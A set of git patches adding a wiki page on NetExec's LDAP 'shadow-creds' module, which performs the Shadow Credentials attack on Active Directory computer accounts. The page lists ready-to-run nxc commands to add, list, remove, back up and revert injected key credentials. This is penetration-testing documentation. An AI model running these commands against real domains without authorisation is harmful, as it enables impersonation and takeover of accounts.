From 62748807e72fa838bd79c1bca25197b83d4d3109 Mon Sep 17 00:00:00 2001 From: termanix Date: Mon, 14 Sep 2026 16:43:20 +0300 Subject: [PATCH 1/4] Add Shadow Credentials.md --- ldap-protocol/shadow-credentials.md | 45 +++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 ldap-protocol/shadow-credentials.md diff --git a/ldap-protocol/shadow-credentials.md b/ldap-protocol/shadow-credentials.md new file mode 100644 index 0000000..370b2d8 --- /dev/null +++ b/ldap-protocol/shadow-credentials.md @@ -0,0 +1,45 @@ +--- +description: Shadow Credentials Attack +--- + +# 🆕 Shadow Credentials Attack + +The LDAP shadow-creds module enables the Shadow Credentials attack, an exploitation technique inspired by [pyWhisker](https://github.com/ShutdownRepo/pywhisker). This attack allows an attacker to add a hidden authentication credential to a target account and impersonate it without modifying its existing password. + +Relevated actions are below: + +``` +list +add +remove +backup +revert +keyCredentials of computers. +``` + + +Add/list/remove usage + +```bash +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=add +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=remove +``` + +Cred info usage + +```bash +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=info DEVICE_ID= +``` + +Backup and Revert + +```bash +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=add +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=backup +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=remove DEVICE_ID= +nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=revert JSONFILE=shadow-creds.json +``` + From 84130eda270b3f031673ca830fb555804c7c67f2 Mon Sep 17 00:00:00 2001 From: termanix Date: Mon, 14 Sep 2026 16:46:31 +0300 Subject: [PATCH 2/4] Edit summary --- SUMMARY.md | 1 + 1 file changed, 1 insertion(+) diff --git a/SUMMARY.md b/SUMMARY.md index 537ad2b..52611ea 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -117,6 +117,7 @@ * [Get User Descriptions](ldap-protocol/get-user-descriptions.md) * [Dump gMSA](ldap-protocol/dump-gmsa.md) * [Pre2k Computer Account Abuse](ldap-protocol/pre2k.md) +* [🆕 Shadow Credentials Attack](ldap-protocol/shadow-credentials.md) * [Exploit ESC8 (ADCS)](ldap-protocol/exploit-esc8-adcs.md) * [Extract Subnet](ldap-protocol/extract-subnet.md) * [Check LDAP Signing](ldap-protocol/check-ldap-signing.md) From 90585b005351af80d3bfdf4b4af40e5ea895ec28 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Mon, 14 Sep 2026 16:50:31 +0300 Subject: [PATCH 3/4] Added screenshots --- ldap-protocol/shadow-credentials.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/ldap-protocol/shadow-credentials.md b/ldap-protocol/shadow-credentials.md index 370b2d8..0abb85c 100644 --- a/ldap-protocol/shadow-credentials.md +++ b/ldap-protocol/shadow-credentials.md @@ -20,6 +20,8 @@ keyCredentials of computers. Add/list/remove usage +image + ```bash nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=add nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list @@ -28,6 +30,8 @@ nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=r Cred info usage +image + ```bash nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=info DEVICE_ID= @@ -35,6 +39,8 @@ nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=i Backup and Revert +image + ```bash nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=add From 59a87c24c512f14b8fe08dbabd19ab3bb52d8e43 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Mon, 14 Sep 2026 16:53:02 +0300 Subject: [PATCH 4/4] removed screenshots, resolution crashes --- ldap-protocol/shadow-credentials.md | 6 ------ 1 file changed, 6 deletions(-) diff --git a/ldap-protocol/shadow-credentials.md b/ldap-protocol/shadow-credentials.md index 0abb85c..370b2d8 100644 --- a/ldap-protocol/shadow-credentials.md +++ b/ldap-protocol/shadow-credentials.md @@ -20,8 +20,6 @@ keyCredentials of computers. Add/list/remove usage -image - ```bash nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=add nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list @@ -30,8 +28,6 @@ nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=r Cred info usage -image - ```bash nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=info DEVICE_ID= @@ -39,8 +35,6 @@ nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=i Backup and Revert -image - ```bash nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=list nxc ldap -u user -p pass -M shadow-creds -o TARGET=targetcomputer$ ACTION=add